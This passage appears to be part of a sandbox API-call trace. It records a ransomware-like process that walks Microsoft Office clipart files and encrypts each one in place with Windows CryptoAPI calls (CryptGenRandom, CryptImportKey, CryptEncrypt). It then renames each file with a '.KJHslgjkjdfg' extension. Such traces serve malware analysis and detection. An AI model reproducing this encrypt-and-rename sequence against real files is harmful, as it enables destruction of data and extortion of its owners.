lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.851] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x103e, lpOverlapped=0x0) returned 1 [0182.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040, dwBufLen=0x1040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040) returned 1 [0182.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.852] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1040, lpOverlapped=0x0) returned 1 [0182.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.852] SetEndOfFile (hFile=0x114) returned 1 [0182.855] GetProcessHeap () returned 0x2a0000 [0182.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.855] GetProcessHeap () returned 0x2a0000 [0182.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.kjhslgjkjdfg")) returned 1 [0182.856] CloseHandle (hObject=0x114) returned 1 [0182.856] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0182.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.857] GetProcessHeap () returned 0x2a0000 [0182.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.857] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.857] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.859] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.859] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.859] GetProcessHeap () returned 0x2a0000 [0182.859] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.860] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.860] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.860] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.860] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4a0e, lpOverlapped=0x0) returned 1 [0182.862] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a10, dwBufLen=0x4a10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a10) returned 1 [0182.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.862] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4a10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4a10, lpOverlapped=0x0) returned 1 [0182.862] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.862] SetEndOfFile (hFile=0x114) returned 1 [0182.865] GetProcessHeap () returned 0x2a0000 [0182.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.865] GetProcessHeap () returned 0x2a0000 [0182.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.kjhslgjkjdfg")) returned 1 [0182.867] CloseHandle (hObject=0x114) returned 1 [0182.867] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0182.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.869] GetProcessHeap () returned 0x2a0000 [0182.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.869] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.869] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.872] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.872] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.872] GetProcessHeap () returned 0x2a0000 [0182.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.872] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.872] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.872] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.872] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.872] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.873] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.873] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2cf8, lpOverlapped=0x0) returned 1 [0182.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d00, dwBufLen=0x2d00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d00) returned 1 [0182.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.875] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d00, lpOverlapped=0x0) returned 1 [0182.875] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.875] SetEndOfFile (hFile=0x114) returned 1 [0182.877] GetProcessHeap () returned 0x2a0000 [0182.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.877] GetProcessHeap () returned 0x2a0000 [0182.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.kjhslgjkjdfg")) returned 1 [0182.879] CloseHandle (hObject=0x114) returned 1 [0182.879] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0182.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.881] GetProcessHeap () returned 0x2a0000 [0182.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.881] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.881] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.883] GetProcessHeap () returned 0x2a0000 [0182.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.884] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.884] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.884] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f8e, lpOverlapped=0x0) returned 1 [0182.888] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f90, dwBufLen=0x4f90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f90) returned 1 [0182.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.888] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f90, lpOverlapped=0x0) returned 1 [0182.889] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.889] SetEndOfFile (hFile=0x114) returned 1 [0182.891] GetProcessHeap () returned 0x2a0000 [0182.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.891] GetProcessHeap () returned 0x2a0000 [0182.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.kjhslgjkjdfg")) returned 1 [0182.893] CloseHandle (hObject=0x114) returned 1 [0182.893] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0182.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.894] GetProcessHeap () returned 0x2a0000 [0182.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0182.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.901] GetProcessHeap () returned 0x2a0000 [0182.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.901] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.902] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.902] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x29c4, lpOverlapped=0x0) returned 1 [0182.911] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29d0, dwBufLen=0x29d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29d0) returned 1 [0182.911] SetFilePointerEx (in: 